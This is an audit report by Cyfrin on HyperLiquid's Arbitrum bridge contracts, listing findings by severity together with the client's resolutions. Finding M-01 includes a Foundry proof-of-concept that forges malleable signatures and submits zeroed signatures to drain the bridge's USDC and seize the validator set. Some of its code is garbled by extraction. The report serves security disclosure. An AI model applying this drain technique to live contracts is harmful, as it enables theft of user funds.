HyperLiquid Audit Report

Version 2.1

Cyfrin.io

April 11, 2023

Cyfrin Hyperliquid Audit Report

Cyfrin.io

April 11, 2023

Prepared by: Cyfrin

Lead Auditors:

- Giovanni Di Siena
- Hans

Table of Contents

Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed to one week, and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Protocol Summary

The HyperLiquid bridge contract runs on Arbitrum, operating alongside the HyperLiquid L1 which runs tendermint consensus. Validator set updates happen at the end of each epoch, the duration of which still TBD, but likely somewhere between 1 day and 1 week. The contracts currently only support USDC, though the logic extends to support deposits/withdrawals of any other ERC20 token on Arbitrum.

Audit Details

Scope

Between March 16th 2023 - March 20th 2023, the Cyfrin team conducted an audit on the HyperLiquid `Bridge.sol` and `Signature.sol` contracts.

Commit hash: `e0aff46` of hyperliquid-dex/contracts.

Out of scope The test file `example.rs` in the tests directory.

Severity Criteria

- High: Assets can be stolen/lost/compromised directly (or indirectly if there is a valid attack path that does not have hand-wavy hypotheticals).
- Medium: Assets not at immediate risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions but external requirements.
- Low: Low impact and low/medium likelihood events where assets are not at risk (or a trivia amount of assets are), state handling might be off, functions are incorrect regarding NatSpec, issues with comments, etc.
- Informational / Non-Critial: A non-security issue, like a suggested code improvement, a comment, a renamed variable, etc. Auditors did not attempt to find an exhaustive list of these.
- Gas: Gas saving/performance suggestions. Auditors did not attempt to find an exhaustive list of these.

Summary of Findings

Finding	Severity	Status
[M-01] Bad signature validation, malleability & lack of zero address protection in `updateValidatorSet`	M	Resolved
[M-02] Incorrect initialization of `powerThreshold` and lack of validation	M	Resolved
[L-01] Prevent setting the new epoch to an arbitrary large value	L	Ack
[NC-01] Make `minTotalValidatorPower` immutable	I	Resolved
[NC-02] Avoid using an initializer unless absolutely necessary	I	Resolved
[NC-03] Use calldata for all function arguments that are not modified	I	Ack
[NC-04] `updateValidatorSet` block scope is not necessary	I	Resolved
[NC-05] Emit events before interaction	I	Resolved
[NC-06] Make USDC amount naming more verbose	I	Ack
[NC-07] Rename file to `Bridge2.sol` to match the contract name	I	Resolved
[NC-08] Add missing NatSpec comments to document function parameters and behaviour	I	Ack

Finding	Severity	Status
[NC-09] No need to explicitly initialize variables to 0	I	Resolved
[NC-10] Use addition assignment operator	I	Resolved
[NC-11] Localhost chain id can be 1337 or 31337	I	Resolved
[NC-12] Rename to DOMAIN_SEPARATOR and use `block.chainId` directly	I	Resolved
[NC-13] Rename to `EIP712_DOMAIN_TYPEHASH`	I	Resolved
[NC-14] Include `byte32 salt` in domain typehash	I	Ack
[NC-15] Verifying contract TODO	I	Ack

Medium Findings

[M-01] Bad signature validation, malleability & lack of zero address protection in `updateValidatorSet`

Description

The `ecrecover` built-in will return `address(0)` if it fails to recover the signer from a message digest and corresponding signature. There is no `address(0)` check in `Signature::recoverSigner` or `Bridge::checkValidatorSignatures`.

Anyone can submit bad signatures to steal bridge funds, calling `Bridge::withdraw`, or take over the bridge as a solitary validator, calling `Bridge::updateValidatorSet` if the validator set is initialized or updated to be a zero address validator set with threshold power. This is of course highly unlikely as it would not be within the validators' best interest; however, it is still possible and should be mitigated so long as bas signer recovery is an issue.

Additionally, it is possible to call `Bridge::withdraw` and `Bridge::updateValidatorSet` using malleable validator signatures. Due to the nature of elliptic curves, it is possible to modify a signature to create another unique signature which recovers to the same signer address. Fortunately, the `Bridge::processedWithdrawals` mapping and validator (epoch) checkpoints protect against replay. Along with bad signer recovery, this should be mitigated using the OpenZeppelin ECDSA library.

Proof of Concept

The following forge test can be seen to demonstrate these findings:

```
function test_signatureMalleabilityAndBadValidation() public {
    address sender = makeAddr("alice");
    address pwner = makeAddr("pwner");
    uint256 amount = 1e5;
    uint256 nonce = 0;
    ValidatorSet memory validatorSet = ValidatorSet(0, s_validators,
        s_powers);
    Signature[] memory sigs = _getSignatures(sender, amount, nonce);
    Signature[] memory sigsCache = sigs;
    for (uint256 i = 0; i < sigs.length; ++i) {
        sigs[i].s =
            uint256
                (1157920892373161954235709850086879078528375642790749043826051631415
                 - sigs[i].s;
        sigs[i].v = sigs[i].v == 27 ? 28 : 27;
    }
    console.log("withdrawing with malleable signatures");
    vm.startPrank(sender);
    bridge.withdraw(amount, nonce, validatorSet, validatorSet.
        validators,sigs);
    console.log(
        "fortunately, the `processedWithdrawals` mapping and validator(
            epoch) checkpoints protect against replay"
    );
    vm.expectRevert("Already withdrawn");
    bridge.withdraw(amount, nonce, validatorSet, validatorSet.
        validators,sigsCache);
    ValidatorSet memory newValidatorSet = ValidatorSet(1,
        s_newValidators,s_newPowers);
    vm.expectEmit(true, false, false, true);
    emit ValidatorSetUpdatedEvent(newValidatorSet.epoch,
        newValidatorSetvalidators, newValidatorSet.powers);
    Signature[] memory updateValidatorSigs =
        _getUpdateValidatorSignature(newValidatorSet, s_validatorKeys);
    bridge.updateValidatorSet(newValidatorSet, validatorSet,
        validatorSetvalidators, updateValidatorSigs);
    for (uint256 i = 0; i < updateValidatorSigs.length; ++i) {
        updateValidatorSigs[i].s = uint256(
            115792089237316195423570985008687907852837564279074904382605163141518161

        ) - updateValidatorSigs[i].s;
        updateValidatorSigs[i].v = updateValidatorSigs[i].v == 27 ? 28
            : 27;
    }
    ValidatorSet memory emptyValidatorSet = ValidatorSet(2,
        s_zeroValidators,s_newPowers);
    bridge.updateValidatorSet(
        emptyValidatorSet, newValidatorSet, newValidatorSet.validators, _getUpdateValidatorSignatures(emptyValidatorSet, s_newValidatorKeys)
    );
    vm.expectRevert("New validator set epoch must be greater than the currentepoch");
    bridge.updateValidatorSet(newValidatorSet, emptyValidatorSet, emptyValidatorSet.validators, updateValidatorSigs);
    console.log("but what if validator set is updated to zero addressvalidator set with non-zero power?");
    address[] memory validatorArr = new address[](1);
    validatorArr[0] = PWNER;
    uint256[] memory powerArr = new uint256[](1);
    powerArr[0] = uint256(1000000);
    ValidatorSet memory pwnValidatorSet = ValidatorSet(3, validatorArr, powerArr);
    Signature[] memory emptySigs = new Signature[](3);
    emptySigs[0] = Signature(0, 0, 0);
    emptySigs[1] = Signature(0, 0, 0);
    emptySigs[2] = Signature(0, 0, 0);
    console.log("anyone can submit bad signatures to steal bridge funds");
    changePrank(pwner);
    emit log_named_uint("bridge balance before", IERC20(USDC_ADDRESS) balanceOf(address(bridge)));
    emit log_named_uint("pwner balance before", IERC20(USDC_ADDRESS).balanceO(pwner));
    bridge.withdraw(IERC20(USDC_ADDRESS).balanceOf(address(bridge)), 0, emptyValidatorSet, emptyValidatorSet.validators, emptySigs);
    emit log_named_uint("pwner balance after", IERC20(USDC_ADDRESS).balanceO(pwner));
    emit log_named_uint("bridge balance after", IERC20(USDC_ADDRESS).balanceO(address(bridge)));
    vm.expectEmit(true, false, false, true);
    emit ValidatorSetUpdatedEvent(pwnValidatorSet.epoch, pwnValidatorSetvalidators, pwnValidatorSet.powers);
    bridge.updateValidatorSet(pwnValidatorSet, emptyValidatorSet, emptyValidatorSet.validators, emptySigs);
    console.log("or take over the bridge as a solitary validator");
}

function _getUpdateValidatorSignatures(ValidatorSet memory newValidatorSet, uint256[] memory currValidatorKeys)
    internal
    view
    returns (Signature[] memory)
{
    Signature[] memory signatures = new Signature[](s_validators.length);
    bytes32 newCheckpoint =
        keccak256(abi.encode(newValidatorSet.validators,
            newValidatorSetpowers, newValidatorSet.epoch));
    Agent memory agent = Agent("a", newCheckpoint);
    bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
        LOCALHOST_DOMAIN_HASH, hash(agent)));
    for (uint256 i = 0; i < s_validators.length; ++i) {
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(currValidatorKeys[i],
            digest);
        signatures[i] = Signature(uint256(r), uint256(s), v);
    }
    return signatures;
}
function _getWithdrawSignatures(address sender, uint256 amount,
    uint256nonce) internal view returns (Signature[] memory) {
    Signature[] memory signatures = new Signature[](s_validators.length
        );
    Agent memory agent = Agent("a", keccak256(abi.encode(sender, amount
        ,nonce)));
    bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
        LOCALHOST_DOMAIN_HASH, hash(agent)));
    for (uint256 i = 0; i < s_validators.length; ++i) {
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(s_validatorKeys[i],
            digest);
        // console.log("validator: %s", i);
        // console.log("v: %s", uint256(v));
        // console.log("r: %s", uint256(r));
        // console.log("s: %s", uint256(s));
        signatures[i] = Signature(uint256(r), uint256(s), v);
    }
    return signatures;
}
```

Impact

Given the vulnerability described has a low likelihood but high impact, we evaluate the severity to MEDIUM.

Recommended Mitigation

As mentioned above, it is recommended to correctly validate recovered signers and protect against signature malleability by using the OpenZeppelin ECDSA library. Additionally, add zero address validation to `Bridge::updateValidatorSet` to ensure it is not possible to update the validator set to a vulnerable state.

Edit (2023-04-14): OpenZeppelin `ECDSA` has a vulnerability in versions lower than 4.7.3, which can be exploited by an attacker. When using this library, use the latest version of @openzeppelin/contracts, or a version that is newer or at least 4.7.3.

`f045dbf` Resolution

A zero address check has been added to `Signature.sol::recoverSigner` to address this finding. The client team states that they do not believe this is a feasible exploit since it requires 2/3 of the validators' coordination to perform the bad signature exploit, which only happens when the L1 and bridge's integrity are already compromised, and that it should instead be a low/NC severity issue. The Cyfrin team maintains that this is medium severity in the scope of this audit given its limited scope and context.

[M-02] Incorrect initialization of `powerThreshold` and lack of validation

Description

The `Bridge::powerThreshold` should be 2/3 the sum of the validator power across current validators at any point; however, the calculation in `Bridge2::constructor` is not correct and it's initialized to `(2 * _minTotalValidatorPower)/ 3` while it should instead be `powerThreshold = (2 * cumulativePower)/ 3;`, i.e. use the return value of `checkNewValidatorPowers` as is the case in `Bridge::updateValidatorSet`. From the fact that `cumulativePower >= minTotalValidatorPower`, it means the initialized `powerThreshold` is less than reasonable. Furthermore, from the communication with the client team, it is understood that `minTotalValidatorPower` is only used to prevent rounding issues and set once and not changed (immutable). Hence it is likely this value is not likely to be around the actual cumulative power but a lot less than it. Because `powerThreshold` is initialized to a fairly less value, this can allow malicious actions that are lack of validation power.

Furthermore, the protocol implements admin functionality whereby `powerThreshold` can be set to an arbitrary value without any validation - this is not recommended and should be subject to the same validation that `powerThreshold` is at least 2/3 the sum of the total validator power and not over the sum of the total validator power.

Impact

It is possible malicious actions that are lack of validation power are allowed due to wrong initialization of `powerThreshold`. Because the initializer is assumed to be called by an admin and there is also another admin function to change the `powerThreshold`, we evaluate the severity to MEDIUM.

Recommended Mitigation

- Initialize `powerThreshold` to the 2/3 the sum of the initial validator powers.
- Add validation for the new `powerThreshold` in `Bridge::changePowerThreshold()` to allow only reasonable values (ranging from 2/3 to total of the current cumulative validation power).

`f045dbf` Resolution

The calculation now uses the `cumulativePower` returned from `checkNewValidatorPowers` to set `powerThreshold` in the constructor. The client team states that this is also low/NC severity because the initial set of validators is intended to be the team, and future validator updates are not prone to this issue. The Cyfrin team maintains that this is medium severity in the scope of this audit given its limited scope and context.

Low Findings

[L-01] Prevent setting the new epoch to an arbitrary large value

Description

In the function `Bridge::updateValidatorSet`, the new epoch is checked to be greater than the current epoch. However, there is no check to prevent setting the new epoch to an arbitrary large value which can be used to freeze the protocol. If it is set to `type(uint256).max` then no more updates are possible.

Impact

This is not likely to happen but we evaluate as LOW because it can freeze the protocol, locking funds and effectively make the whole protocol insolvent.

Recommended Mitigation

It is recommended to allow increase of epoch only to some limited extent, rather than any arbitrary large number.

`f045dbf` Resolution

The client team acknowledges this finding with the following comment:

> This does not seem like a useful change to us. This restricts the L1 epoch update logic without any security gains. Maliciously setting the epoch to `MAX_INT` will indeed lock the smart contract, but that means that the L1 and bridge are already compromised.

Informational/Non-Critical Findings

[NC-01] Make `minTotalValidatorPower` immutable

Given that `Bridge::minTotalValidatorPower` is initialized once in the constructor and never modified thereafter, it can be made immutable. This also has the effect of reducing gas usage in functions which currently read its value from storage.

`f045dbf` Resolution

`minTotalValidatorPower` is now immutable.

[NC-02] Avoid using an initializer unless absolutely necessary

This comment references the potential introduction of a separate initializer but it should be noted that bad initialization is the cause of many exploits in the wild and so should be avoided wherever possible.

`f045dbf` Resolution

The comment has been removed.

[NC-03] Use calldata for all function arguments that are not modified

If function arguments are not intended to be modified then it is best practice to pass them as calldata arguments rather than memory, for example in https://github.com/hyperliquid-dex/contracts/blob/e0aff464865aa98c09450702d7fb36b1fcd4508c/Bridge.sol#LL94C48-L94C48.

`f045dbf` Resolution

The client team acknowledges this finding with the following comment:

> Through testing we found that using memory seems to require less gas than calldata on Arbitrum, which is why we wrote everything using memory to begin with.

[NC-04] `updateValidatorSet` block scope is not necessary

The block scope in `Bridge::updateValidatorSet` is not necessary as the contract successfully compiles without it and so can be removed.

`f045dbf` Resolution

The block scope has been removed.

[NC-05] Emit events before interaction

To strictly conform to checks-effect-interactions, it is recommended to emit events prior to any external interactions. This is generally advised to ensure correct migration through state reconstruction, which in this case should not be affected given `Bridge::deposit` is marked as `nonReentrant`, but it is still good practice.

`f045dbf` Resolution

Events are now emitted before external interactions.

[NC-06] Make USDC amount naming more verbose

The naming of the USDC amount parameter in `Bridge::deposit and Bridge::withdraw` is not clear, i.e. change `uint256 usdc` to `uin256 usdcAmount`.

`f045dbf` Resolution

The client team acknowledges this finding with the following comment:

> Does not seem like a useful change for us. `usdc` is clear since its of type `uint256`, and we use the same convention in the l1 code and solidity event fields

[NC-07] Rename file to `Bridge2.sol` to match the contract name

The `Bridge2` contract resides in `Bridge.sol`; however, it is best practice to follow the convention of one contract per file with the same name.

`f045dbf` Resolution

The client team has renamed the contract to `Bridge.sol` with the following comment:

> We call it Bridge2 internally until it replaces the current bridge, at which point we will rename everything to Bridge.

[NC-08] Add missing NatSpec comments to document function parameters and behaviour

It is recommended to document all function behaviours and parameters, especially if they are public-facing.

`f045dbf` Resolution

The client team acknowledges this finding with the following comment:

> Light comments were added to functions in `Bridge.sol`.

[NC-09] No need to explicitly initialize variables to 0

Variables are initalized to 0 by default in Solidity, so a number of superfluous assigments can be removed.

`f045dbf` Resolution

Superfluous assignments have been removed.

[NC-10] Use addition assignment operator

The addition assignment operator += can be used when checking new validator powers.

`f045dbf` Resolution

The addition assignment operator has been used.

[NC-11] Localhost chain id can be 1337 or 31337

The default localhost chain id for some frameworks (e.g. HardHat) is `31337` rather than `1337`. For example, it is not possible to run signature tests using forge without changing `Signature::LOCALHOST_CHAIN_ID` to `31337`.

`f045dbf` Resolution

This has been resolved by the resolution of NC-12.

[NC-12] Rename to DOMAIN_SEPARATOR and use `block.chainId` directly

References to `*_DOMAIN_HASH` in `Signature` should be renamed to `*_DOMAIN_SEPARATOR` to be more consistent with the EIP and avoid confusion. Additionally, it is recommended to use `block.chainId` directly, caching on contract creation and only recomputing the domain separator if the chain id changes, removing the need for multiple different separators to be defined.

`f045dbf` Resolution

The client team has removed the domain separator contants in favour of a single `EIP712_DOMAIN_SEPARATOR` constant with the following comment in response to the Cyfrin team's comment about recomputing the domain separator if the chain id changes:

> Hard fork concern potentially just an edge case not worth thinking about.

[NC-13] Rename to `EIP712_DOMAIN_TYPEHASH`

Add an additional underscore for readability.

`f045dbf` Resolution

The constant has been renamed to `EIP712_DOMAIN_TYPEHASH`.

[NC-14] Include `byte32 salt` in domain typehash

Per the EIP, `bytes32 salt` should be added to the domain separator as a last-resort means to distinguish this application from others. Whilst it is unlikely that there would be signatures generated for other contracts that could be replayed onto the bridge, inclusion of a salt gives additional security assurances for little additional overhead.

`f045dbf` Resolution

The client team acknowledges this finding with the following comment:

> We don't think this is a useful change. Since only the validators generate these signatures for the bridge, we do not need to worry about the events being replayed on other smart contracts. Also, including `byte32 salt` causes problems when generating signatures using the rust client code.

[NC-15] Verifying contract TODO

Update the verifying contract address.

`f045dbf` Resolution

The client team acknowledges this finding with the following comment:

> Removed the TODO. Keeping the verifying address as the zero address, though slightly confusing, is more convenient for us and has no significant drawbacks.